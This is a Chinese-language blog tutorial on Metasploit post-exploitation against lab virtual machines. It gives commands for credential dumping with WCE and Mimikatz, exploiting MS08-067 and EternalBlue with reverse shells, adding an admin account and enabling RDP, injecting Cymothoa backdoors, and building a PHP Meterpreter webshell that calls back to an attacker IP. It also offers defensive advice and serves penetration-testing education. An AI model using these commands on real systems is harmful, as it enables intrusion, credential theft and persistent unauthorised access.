Windows Credentials Editor (WCE)是一款功能強(qiáng)大的Windows平臺內(nèi)網(wǎng)滲透工具,它能列舉登錄會話,并且可以添加、改變和刪除相關(guān)憑據(jù),如LM/NTHash。這些功能在內(nèi)網(wǎng)滲透中能夠被利用,例如在Windows平臺上執(zhí)行繞過Hash操作或者從內(nèi)存中獲取NT/LM Hash (也可以從交互式登錄、服務(wù)、遠(yuǎn)程桌面連接中獲取)以用于進(jìn)一步的攻擊,而且體積也非常小,是內(nèi)網(wǎng)滲透時的必備工具。不過必須在管理員權(quán)限下使用,還要注意殺毒工具的免殺。
首先輸入upload命令將wce.exe.上傳到目標(biāo)主機(jī)C盤中,然后在目標(biāo)機(jī)Shell下輸入wce -w命令,便會成功提取系統(tǒng)明文管理員的密碼,如圖所示。
另一款工具是Mimikatz,作為一款輕量級后滲透測試工具,它可以幫助安全測試人員輕松抓取系統(tǒng)密碼,此外還包括能夠通過獲取的Kerberos登錄憑據(jù),繞過支持RestrictedAdmin模式下Windows 8或Windows Server 2012的遠(yuǎn)程終端(RDP)等功能。后續(xù)實戰(zhàn)中我們遇到再詳細(xì)介紹。
同時,Mimikatz還能在PowerShell中執(zhí)行,實現(xiàn)偷竊、注入憑證、偽造Kerberos票證創(chuàng)建,以及很多其他的功能。
輸入samdump命令查看samdump的可用選項抓取Hash。
- mimikatz_command -f samdump::hashes
四.后滲透攻擊之移植自定義漏洞利用模塊
1.傳統(tǒng)MS08-067漏洞利用
首先,簡單看看傳統(tǒng)的漏洞利用方法。由于之前MS17-010漏洞已經(jīng)復(fù)現(xiàn)過,所以這里使用MS08-067來加深讀者M(jìn)SF用法的印象。
第一步,掃描靶機(jī)Windows XP系統(tǒng)是否開啟445端口。
- nmap -sS 192.168.44.135
第二步,打開msfconsole。
- msfconsole
第三步,查詢漏洞模塊。
- search ms08-067
第四步,利用漏洞并設(shè)置參數(shù)。
- use exploit/windows/smb/ms08_067_netapi
利用永恒之藍(lán)漏洞 - set payload windows/shell_reverse_tcp
設(shè)置payload - set RHOSTS 192.168.44.135
設(shè)置受害主機(jī)IP - set LHOST 192.168.44.138
設(shè)置本機(jī)IP地址 - set RPORT 445
設(shè)置端口445
第五步,查看配合參數(shù)。
- show options
注意,默認(rèn)target是自動的。
第六步,利用漏洞。
- exploit或run
此時可能會報錯“Exploit comleted, but no session was created”。這是需要根據(jù)靶機(jī)版本選擇合適的targets,例如這里是靶機(jī)系統(tǒng)為:Windows XP,則只需加一行如下命令:
- set target 2
最終漏洞利用成功。
輸出后滲透相關(guān)命令,可以進(jìn)行剩余操作。
2.移植github的MS17-010漏洞模塊
2017年5月12日,WannaCry蠕蟲通過永恒之藍(lán)MS17-010漏洞在全球范圍大爆發(fā),感染大量的計算機(jī)。WannaCry勒索病毒全球大爆發(fā),至少150個國家、30萬名用戶中招,造成損失達(dá)80億美元,已影響金融、能源、醫(yī)療、教育等眾多行業(yè),造成嚴(yán)重的危害。
WannaCry是一種“蠕蟲式”勒索病毒軟件,由不法分子利用NSA泄露方程式工具包的危險漏洞“EternalBlue”(永恒之藍(lán))進(jìn)行傳播。該蠕蟲感染計算機(jī)后會向計算機(jī)中植入敲詐者病毒,導(dǎo)致電腦大量文件被加密。
WannaCry利用Windows系統(tǒng)的SMB漏洞獲取系統(tǒng)的最高權(quán)限,該工具通過惡意代碼掃描開放445端口的Windows系統(tǒng)。被掃描到的Windows系統(tǒng),只要開機(jī)上線,不需要用戶進(jìn)行任何操作,即可通過SMB漏洞上傳WannaCry勒索病毒等惡意程序。
WannaCry勒索病毒主要行為是傳播和勒索。
- 傳播:利用基于445端口的SMB漏洞MS17-010(永恒之藍(lán))進(jìn)行傳播
- 勒索:釋放文件,包括加密器、解密器、說明文件、語言文件等;加密文件;設(shè)置桌面背景、窗體信息及付款賬號等。
雖然MS17-010漏洞利用模塊Metasploit已經(jīng)集成,但經(jīng)過測試后被發(fā)現(xiàn)不支持某些操作系統(tǒng),比如Windows 2003,但網(wǎng)上有支持的滲透腳本。并且真實的案例中,尤其是0day漏洞,我們需要自己構(gòu)建shellcode攻擊腳本,所以這里我們講述一種普適性更強(qiáng)的漏洞利用方法,即移植漏洞模塊。
作者之前的文章也自己實現(xiàn)過。
- Windows漏洞利用之Metasploit實現(xiàn)棧溢出攻擊及反彈shell
- Windows漏洞利用之基于SEH異常處理機(jī)制的棧溢出攻擊及shell提取
- Windows漏洞利用之構(gòu)建ROP鏈繞過DEP并獲取Shell
(1) 下載漏洞利用模塊至本地或自己編寫相關(guān)Ruby腳本。
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git運(yùn)行結(jié)果如下圖所示:
(2) 將 Eternalblue-Doublepulsar-Metasploit 文件夾下的rb文件復(fù)制到指定目錄。
- /usr/share/metasploit-framework/modules/exploits/windows/smb
在Metasploit中,了解漏洞利用代碼模塊存儲的文件夾位置非常重要,不僅有助于尋找不同模塊的所在位置,也有助于讀者理解Metasploit框架的基本用法。
(3) MSF重新加載全部文件。
- reload_all
(4) 搜索該腳本文件。
- search eternalblue_doublepulsar
(5) 使用MSF自帶的Msfvenom命令生成DLL。
將MS17-010漏洞利用代碼移植到Metasploit框架后,就可以實現(xiàn)滲透操作。但在攻擊之前需要先生成一個DLL文件,如果目標(biāo)主機(jī)是32位操作系統(tǒng)則生成32位的DLL,同理生成64位的DLL。這里涉及免殺,也可以使用PowerShell下的Empire生成DLL,后面文章介紹。
WannaCry和永恒之藍(lán)詳細(xì)原理,推薦大家閱讀我的逆向分析文章。
- [網(wǎng)絡(luò)安全自學(xué)篇] 七十三.WannaCry勒索病毒復(fù)現(xiàn)及分析(四)蠕蟲傳播機(jī)制全網(wǎng)源碼詳細(xì)解讀
(6) 使用use命令加載該模塊及漏洞配置。
- use exploit/windows/smb/eternalblue_doublepulsar
(7) 漏洞利用。
- exploit
至此,我們攻擊成功。得到一個Meterpreter會話,如下圖所示。
防御建議:
- 開啟系統(tǒng)防火墻
- 關(guān)閉445、139等端口連接
- 開啟系統(tǒng)自動更新,下載并更新補(bǔ)丁,及時修復(fù)漏洞
- 為計算機(jī)安全最新補(bǔ)丁,微軟已經(jīng)發(fā)布補(bǔ)丁MS17-010修復(fù)該漏洞,讀者也可以通過第三方工具下載補(bǔ)丁
- 安裝安全軟件,開啟主動防御進(jìn)行攔截查殺
- 如非服務(wù)需要,建議把高危漏洞的端口都關(guān)閉,比如 135、137、138、139、445、3389 等
- 開啟防火墻,及時備份重要文件
3.深度提權(quán)
接著我們需要進(jìn)一步對目標(biāo)XP主機(jī)進(jìn)行深度提權(quán)。
(1) 增加普通用戶并提升至管理員權(quán)限。
- 增加普通用戶
net user hacker 123456 /add - 提升管理員權(quán)限
net localgroup administrators hacker /add
Windows DOM用戶常用命令如下:
net user abcd 1234 /add 新建一個用戶名為abcd,密碼為1234的帳戶,默認(rèn)為user組成員 net user abcd /del 將用戶名為abcd的用戶刪除 net user abcd /active:no 將用戶名為abcd的用戶禁用 net user abcd /active:yes 激活用戶名為abcd的用戶 net user abcd 查看用戶名為abcd的用戶的情況 net localgroup administrators abcd /add 將abcd賬戶給予管理員權(quán)限此時被攻擊的主機(jī)新增“hacker”管理員如下圖所示:
(2) 開啟遠(yuǎn)程連接3389端口并進(jìn)行遠(yuǎn)程操作。
# 開啟遠(yuǎn)程連接 echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat # 查看網(wǎng)絡(luò)端口 netstat -an # 遠(yuǎn)程連接 rdesktop 192.168.44.135作者掃描發(fā)現(xiàn)3389端口已經(jīng)開啟,也可以直接利用。
(3) 輸入命令連接遠(yuǎn)程IP地址,并輸入我們創(chuàng)建好的hacker用戶名及密碼。
- rdesktop 192.168.44.135
輸入創(chuàng)建的用戶名hacker和密碼123456回車,彈出提示框點(diǎn)擊OK,稍等就會成功登錄XP系統(tǒng)。
這是本文的深度提權(quán)知識。
(4) 最后,我們還需要將新建的用戶名hacker刪除。
寫到這里,整個實驗就講解完畢。
五.后滲透攻擊之后門
在完成提升權(quán)限后,我們就應(yīng)該建立后門(backdoor),以維持對目標(biāo)主機(jī)的控制權(quán)。這樣,即使我們所利用的漏洞被補(bǔ)丁程序修復(fù),還可以通過后門繼續(xù)控制目標(biāo)系統(tǒng)。
簡單的說,后門就是一個留在目標(biāo)主機(jī)上的軟件,它可以使攻擊者隨時連接到目標(biāo)主機(jī)。大多數(shù)情況下,后門是一個運(yùn)行在目標(biāo)主機(jī)上的隱藏進(jìn)程,它運(yùn)行一個普通的、未經(jīng)授權(quán)的用戶控制計算機(jī)。
1.操作系統(tǒng)Cymothoa后門
后門泛指繞過目標(biāo)系統(tǒng)安全控制體系的正規(guī)yoghurt認(rèn)證過程,從而維持我們對目標(biāo)系統(tǒng)的控制權(quán),以及隱匿控制行為的方法。Meterpreter提供了Persistence等后滲透攻擊模塊,通過再目標(biāo)主機(jī)上安裝自動、永久服務(wù)等方式,來長久地控制目標(biāo)機(jī)。這里主要介紹Cymothoa后門,還有Persistence后門,APT樣本中也有各種各樣的后門。
Cymothoa是一個后門工具,可以將ShellCode注入到現(xiàn)有進(jìn)程(插進(jìn)程)。借助這種注入手段,它能夠把ShellCode偽裝成常規(guī)程序。只要進(jìn)程存在,后門就會有效,所以一般選擇一些自其服務(wù)的進(jìn)程來注入,例如web服務(wù)mysql、apache 等。其后門所擁有的權(quán)限和注入的進(jìn)程權(quán)限是相同的。當(dāng)拿下目標(biāo)shell后就可以使用cymothoa添加后門。
Cymothoa所注入的后門程序應(yīng)當(dāng)能夠與被注入的程序(進(jìn)程)共存,以避免被管理和維護(hù)人員懷疑。將ShellCode注入其他進(jìn)程,還有另一個優(yōu)勢:即使目標(biāo)系統(tǒng)的安全防護(hù)工具能夠監(jiān)視可執(zhí)行程序的完整性,只要它不檢測內(nèi)存,就發(fā)現(xiàn)不了(插進(jìn)程)后門程序的進(jìn)程。
(1) 查看程序的PID。
- Linux:ps -aux
- Windows:tasklist
(2) 查看ShellCode編號。
Cymothoa有很多的后門 shellcode,這些shellcode可以通過-S參數(shù)來查看。
- cymothoa -S
(3) 生成后門程序。
成功滲透目標(biāo)主機(jī)后,就可以把Cymothoa的可執(zhí)行程序復(fù)制到目標(biāo)主機(jī)上,生成后門程序。如選擇PID為903的進(jìn)程為宿主進(jìn)程,選用第一類ShellCode,指定Payload服務(wù)端口號為4444。
- cymothoa -p 903 -s 1 -y 4444
遺憾這里失敗,后續(xù)文章會更深入的講解后門實戰(zhàn)知識。
在實戰(zhàn)中你需要對目標(biāo)機(jī)上傳編譯好的Cymothoa進(jìn)行后門注入,成功則如下圖所示。
(4) NC連接后門程序。
注入成功后,我們通過攻擊機(jī)器 kali 來使用 nc 連接,因為我第一次使用的 nvv 參數(shù),會顯示所有的詳細(xì)信息,所以內(nèi)容比較咋。可以看到 ip 已經(jīng)是目標(biāo)機(jī)的 ip,身份是 root。
- nc -nvv IP地址 端口號
這時把msf關(guān)閉,然后再次通過nc連接,查看ip和當(dāng)前用戶,該后門成功被利用。
注意,該后門注入系統(tǒng)的進(jìn)程,反彈的是該進(jìn)程相應(yīng)的權(quán)限(并不需要root),當(dāng)然,因為后門是以運(yùn)行中的程序為宿主,所以只要進(jìn)程關(guān)閉或目標(biāo)主機(jī)重啟,后門就會停止運(yùn)行。
2.Web后門
Web后門泛指Webshell,其實就是一段網(wǎng)頁代碼,包括ASP、PHP、JSP等。由于這些代碼都運(yùn)行在服務(wù)器端,攻擊者通過這段精心設(shè)計的代碼,在服務(wù)端進(jìn)行一些危險的操作以后去敏感信息,或者通過滲透操作提權(quán),從而獲得服務(wù)器的控制權(quán)。這也是攻擊者控制服務(wù)器的方法,比入侵攻擊更加隱蔽。
Web后門能給攻擊者提供非常多的功能,比如執(zhí)行命令、瀏覽文件、輔助提權(quán)、執(zhí)行SQL語句、反彈Shell等。Windows操作系統(tǒng)下比較出名的是“中國菜刀”,還有開源的工具如蟻劍、冰蝎、Cknife等,均支持Mac、Linux和Windows。之前的文章也多次分享過一句話+工具的用法。
在Kali下用得比較多的是Weevely,其功能很強(qiáng)大,使用http頭進(jìn)行指令傳輸,唯一的缺點(diǎn)是只支持PHP。其實Metasploit框架中也自帶了Web后面,配合Meterpreter使用時,功能更強(qiáng)大。接下來我們簡單用Meterpreter實現(xiàn)一個Web后門(PHP Meterpreter后門、ASP Meterpreter后門)。
在Metasploit中,有一個名為PHP Meterpreter的Payload,利用這個模塊可以創(chuàng)建具有Meterpreter功能的PHP Webshell。在攻擊中使用Metasploit PHP Shell的步驟如下:
- 使用msfvenom創(chuàng)建一個webshell.php
- 上傳webshell.php到目標(biāo)服務(wù)器
- 運(yùn)行Metasploit multi-handler開始監(jiān)聽
- 訪問webshell.php頁面
- 獲取反彈的Metasploit Shell
(1) 通過Metasploit的Msfvenom工具會做PHP Meterpreter。
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.44.138 -f raw > shuteer.php參數(shù)-p用于設(shè)置Payload,參數(shù)-f用于設(shè)置輸出文件格式,生成的文件如下所示。
打開shutter.php文件如下圖所示,這是一個webshell。
(2) 將shutter.php文件上傳到目標(biāo)服務(wù)器。這里是虛擬機(jī),就直接復(fù)制到 var/www/html 目錄。
(3) 開啟msfconsole連接PHP后門。
通過MSF我們成功反彈服務(wù)器,最后利用Meterpreter進(jìn)行后滲透操作。
注意,這里大家也可以嘗試蟻劍、菜刀、冰蝎等工具。也建議大家好好思考:
- 如何有效檢測Webshell
- 如何結(jié)合深度學(xué)習(xí)實現(xiàn)Webshell的自動化生成和繞WAF
- 如何結(jié)合深度學(xué)習(xí)自動化檢測Webshell
六.總結(jié)
寫到這里,這篇文章就介紹完畢,希望您喜歡,本文主要是學(xué)習(xí)徐焱老師他們的《Web安全攻防滲透測試實戰(zhàn)指南》,同時結(jié)合作者之前的漏洞利用及WannaCry逆向經(jīng)驗總結(jié)。文章非常長,作者也花費(fèi)了很長時間,但相信只要你認(rèn)真讀完并復(fù)現(xiàn),肯定會有收獲,尤其是對MSF的理解。
- 一.MSF漏洞利用
- 二.后滲透攻擊之信息收集
1.進(jìn)程遷移
2.系統(tǒng)命令
3.文件系統(tǒng)命令 - 三.后滲透攻擊之權(quán)限提升
1.權(quán)限查詢
2.利用WMIC實戰(zhàn)MS16-032本地溢出漏洞
3.令牌竊取提權(quán)
4.Hash攻擊提權(quán) - 四.后滲透攻擊之移植自定義漏洞利用模塊
1.傳統(tǒng)MS08-067漏洞利用
2.移植github的MS17-010漏洞模塊
3.深度提權(quán) - 五.后滲透攻擊之后門
1.操作系統(tǒng)Cymothoa后門
2.Web后門
這篇文章中如果存在一些不足,還請海涵。作者作為網(wǎng)絡(luò)安全初學(xué)者的慢慢成長路吧!希望未來能更透徹撰寫相關(guān)文章。同時非常感謝參考文獻(xiàn)中的安全大佬們的文章分享,感謝師傅、師兄師弟、師姐師妹們的教導(dǎo),深知自己很菜,得努力前行。
歡迎大家討論,是否覺得這系列文章幫助到您!任何建議都可以評論告知讀者,共勉。
- 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
- 網(wǎng)絡(luò)安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study
(By:Eastmount 2022-01-15 夜于武漢 http://blog.csdn.net/eastmount/ )
參考文章如下,感謝這些大佬。
- [1] https://www.rapid7.com/products/metasploit/download/
- [2] 《Web安全攻防滲透測試實戰(zhàn)指南》徐焱、李文軒、王東亞老師
- [3] https://blog.csdn.net/Eastmount
- [4] https://www.cnblogs.com/coderge/p/13746810.html
- [5] https://blog.csdn.net/fageweiketang/article/details/86580213
- [6] https://blog.csdn.net/fageweiketang/article/details/86665518
- [7] https://www.cnblogs.com/-qing-/p/10519363.html
- [8] https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
總結(jié)
以上是生活随笔為你收集整理的[系统安全] 四十五.APT系列(10)Metasploit后渗透技术信息收集、权限提权和功能模块详解的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [系统安全] 四十四.APT系列(9)M
- 下一篇: [Python图像识别] 四十九.图像生